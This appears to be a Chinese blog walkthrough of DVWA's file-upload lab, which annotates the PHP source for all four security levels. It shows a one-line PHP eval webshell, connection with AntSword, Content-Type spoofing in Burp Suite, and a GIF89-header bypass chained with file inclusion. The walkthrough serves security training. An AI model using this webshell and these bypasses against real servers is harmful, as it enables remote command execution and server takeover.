DVWA--File Upload(文件上传)--四个等级
這里我們以DVWA的測試環境進行演練(這里利用php的一句話木馬進行攻擊)
DVWA有四個等級:Low、Medium、High、Impossible
—————————————————————————————————————————————————
Low:
源代碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>代碼解釋:
<?php if( isset( $_POST[ 'Upload' ] ) ) { //isset判斷變量是否存在或為NULL(也就是0,但\0不代表NULL)。變量存在且值不為NULL,返回true;變量存在且值為NULL,返回false;變量存在,直接返回NULL$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";//這里的DVWA_WEB_PAGE_TO_ROOT在xampp/htdocs/dvwa/vulnerabilities/upload/index.php中追溯到define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //basename()函數 返回路徑中含有文件擴展名的文件名部分,舉例: /*<?php $path = "/testweb/home.php"; //顯示帶有文件擴展名的文件名 echo basename($path); #答案home.php //顯示不帶有文件擴展名的文件名 echo basename($path,".php"); #答案:home ?> *///$_FILES["uploaded"]["name"] 返回被上傳文件的名稱//代碼完整含義:$target_path = $target_path + basename( $_FILES[ 'uploaded' ][ 'name' ] );if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { /* if(){當括號里為true時執行的代碼}else{當括號里為false時執行的代碼}!代表非$_FILES["file"]["tmp_name"] 返回存儲在服務器的文件的臨時副本的名稱move_uploaded_file() 函數將上傳的文件移動到新位置,若成功,則返回true,否則返回false在move_uploaded_file()中,如果$_FILES[ 'uploaded' ][ 'tmp_name' ]指定文件是通過post提交,并且文件合法,返回true,否則返回false如果move_upoaded_file函數返回true,那么!move_upoaded_file就是false */echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>從以上代碼可以看出,代碼沒有對上傳的文件進行任何過濾,甚至還顯示出了上傳后文件的路徑與文件名
這里我們可以利用上傳一句話木馬(php),再加上中國蟻劍,完成滲透
php一句話木馬:
eval函數主要執行php代碼,也可以執行系統命令
system函數只能執行系統命令
@表示即使報錯,也不顯示
滲透流程:
1.我們寫好包含一句話木馬的test.php文件,這里使用的是<?php @eval($_REQUEST['cmd']); ?>
2.點擊上傳文件,如圖:
3.我們訪問上傳后的文件
4.看看能否用url進行命令執行
首先試試能否執行php代碼命令:
再試試能否執行系統命令:
5.我們用中國蟻劍
輸入url與密碼后,點擊添加
隨后雙擊該數據條
連接成功,你已經拿下對方服務器的客戶端
—————————————————————————————————————————————————
Medium:
源代碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>代碼解釋:
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; //$_FILES["uploaded"]["type"] 返回被上傳文件的類型$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //$_FILES["file"]["size"] 返回被上傳文件的大小,以字節計if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // ||表示或 // &&數學中且的意思 //如果$uploaded_type == "image/jpeg"或$uploaded_type == "image/png"并且$uploaded_size < 100000,返回true,繼續執行下面的if語句 //否則返回false,執行下面的else語句:echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; //這里就只能上傳照片了if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>由以上Medium級別的代碼可以看出,代碼對上傳文件進行了過濾,只能上傳Content-Type為image/jpeg或image/png格式的文件,并且文件必須小于100000字節
但是,它并沒有對文件后綴名進行過濾,我們可以通過burpsuite抓包修改Content-Type,從而達到上傳后綴名為php的文件
滲透流程:
1.打開burpsuite
2.打開上傳頁面,在該漏洞等級下上傳test.php
3.將圖片中選中的數值改為image/jpeg或image/png,之后Forward,一直放行也可以
4.你會看到上傳成功,如圖,說明繞過成功
5.之后的利用方法和前面Low等級的是一樣的
注:因為我這里是最新版的php,00截斷無法使用,需要php<5.3.4,后續我會寫一篇
—————————————————————————————————————————————————
High:
源代碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>代碼解釋:
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //strrpos( $uploaded_name, '.' ),查找 "." 在字符串中最后一次出現的位置,$uploaded_name的第一個字符位置為0,舉例:strrpos(”1.php“ , '.'),結果返回1 //substr()函數,返回字符串的一部分,第一位從0開始,舉例:substr("Hello world",6),默認從第6位返回到字符串的結尾,所以返回world$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { //strtolower(文件名)函數,把字符串轉換為小寫 /*getimagesize()函數,取得圖像大小。將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小并返回圖像的尺寸以及文件類型和一個可以用于普通 HTML 文件中 IMG 標記中的 height/width 文本字符串 如果不能訪問$uploaded_tmp指定的圖像或者其不是有效的圖像,getimagesize()將返回 FALSE 并產生一條 E_WARNING 級的錯誤 */if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>從以上代碼可以看出,它只允許上傳后綴名為jpg/jpeg,并且要求圖片小于100000字節
1.我們可以用記事本寫一個一句話,然后把后綴名改為jpg格式如圖:
2.嘗試上傳,出現上傳不了,因為后綴名是圖片格式還不行,它用了getimagesize函數,所以必須要文件內容也是圖片才行
3.為了達到文件內容也是圖片,在文件頭部加上jpg格式的GIF89,如圖:
4.再次嘗試上傳,上傳成功
5.但這個文件是以jpg為后綴,不能用菜刀或蟻劍進行連接,url利用時也只會返回圖片信息,并不會執行php命令,所以我們需要讓圖片進行php解析,這時我們就可以結合DVWA中的文件包含漏洞進行利用:
這樣就利用成功了
—————————————————————————————————————————————————
Impossible:
源代碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { echo '<pre>Your image was not uploaded.</pre>'; } if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>代碼解釋:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; //md5()函數,計算字符串的MD5散列,也就是給字符串進行md5加密//uniqid()函數,基于以微秒計的當前時間,生成一個唯一的ID$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); /*ini_get 獲取一個配置選項的值ini_get ( string $varname ) 成功時返回配置選項的值varname 配置選項名稱成功是返回配置選項值的字符串,null 的值則返回空字符串。如果配置選項不存在,將會返回 FALSE*///php.ini中的upload_tmp_dir的這個參數為上傳文件的臨時目錄/*?是條件語句的簡寫舉例:if($x>3){echo "OK";}else{echo "NO";}等同于$x>0 ? echo "OK" : echo "NO";三元運算符語法:條件 ? 符合條件結果1 : 不符合條件結果2*//*sys_get_temp_dir — 返回用于臨時文件的目錄sys_get_temp_dir ( void )返回 PHP 儲存臨時文件的默認目錄的路徑,就是返回臨時目錄的路徑*/$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); //imagecreatefromjpeg ($filename ) 返回一圖像標識符,代表了從給定的文件名取得的圖像imagejpeg( $img, $temp_file, 100); //imagejpeg ( resource $image [, string $filename [, int $quality ]] )//imagejpeg() 從 image 圖像以 filename 為文件名創建一個 JPEG 圖像,參數quality可選,0-100 (質量從小到大)} else { $img = imagecreatefrompng( $uploaded_tmp ); //imagecreatefrompng ($filename ) 返回一圖像標識符,代表了從給定的文件名取得的圖像imagepng( $img, $temp_file, 9); //imagepng ( resource $image [, string $filename ] )//imagepng() 將 GD 圖像流(image)以 PNG 格式輸出到標準輸出(通常為瀏覽器),或者如果用 filename 給出了文件名則將其輸出到該文件} imagedestroy( $img ); //imagedestroy ( resource $image )//magedestroy() 釋放與 image 關聯的內存。image 是由圖像創建函數返回的圖像標識符if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { //rename(oldname,newname,context)/*oldname 必需。規定要重命名的文件或目錄。newname 必需。規定文件或目錄的新名稱。context 可選。規定文件句柄的環境。context 是可修改流的行為的一套選項*///rename() 函數重命名文件或目錄//getchwd() 函數返回當前工作目錄/*舉例:<?php echo getcwd() ?>結果:/home/php*//*DIRECTORY_SEPARATOR php目錄分隔符因為windows下的分隔符為\,但在Linux下卻為/,Windows下的\是無法在Linux下運行的,所以用DIRECTORY_SEPARATOR(php內置變量),自動辨別使用哪種分隔符,這樣就不會出錯了 */echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { echo '<pre>Your image was not uploaded.</pre>'; } if( file_exists( $temp_file ) ) /*file_exists() 函數檢查文件或目錄是否存在如果指定的文件或目錄存在則返回 true,否則返回 falsefile_exists(path)path 必需。規定要檢查的路徑舉例:<?php echo file_exists("test.txt"); ?>輸出:1*/unlink( $temp_file ); /*unlink() 函數刪除文件若成功,則返回 true,失敗則返回 falseunlink(filename,context)filename 必需。規定要刪除的文件。context 可選。規定文件句柄的環境。Context 是可修改流的行為的一套選項*/} else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>上面的impossible源代碼也就是無上傳漏洞可利用
總結
以上是生活随笔為你收集整理的DVWA--File Upload(文件上传)--四个等级的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DVWA--Command Inject
- 下一篇: 如何投资外汇赚钱,有两种方式